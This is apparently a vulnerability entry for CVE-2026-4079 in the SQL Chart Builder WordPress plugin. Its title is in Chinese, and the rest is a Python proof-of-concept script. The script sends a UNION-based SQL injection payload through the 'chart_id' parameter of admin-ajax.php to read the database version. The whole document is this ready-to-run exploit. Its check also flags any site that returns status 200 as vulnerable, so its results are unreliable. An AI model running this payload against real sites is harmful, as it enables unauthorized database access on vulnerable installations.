CVE-2026-4079 SQL Chart Builder插件SQL注入漏洞

# PoC for CVE-2026-4079 # This script demonstrates the SQL Injection vulnerability in SQL Chart Builder < 2.3.8 import requests def check_vulnerability(target_url): # The endpoint responsible for dynamic filtering (example path) url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload to test SQL Injection (extracting database version) # Using a UNION-based injection payload as an example payload = "1' UNION SELECT 1, 2, version(), 4, 5, 6, 7, 8, 9-- -" # Data parameters typically sent to the plugin data = { "action": "sql_chart_builder_filter", "chart_id": payload } try: response = requests.post(url, data=data, timeout=10) # Check if the response contains database version indicators (e.g., 'mysql', '5.7') if "mysql" in response.text.lower() or response.status_code == 200: print(f"[+] Potential SQL Injection detected at {target_url}") print(f"[+] Response snippet: {response.text[:200]}") else: print("[-] Target does not appear vulnerable or payload incorrect.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)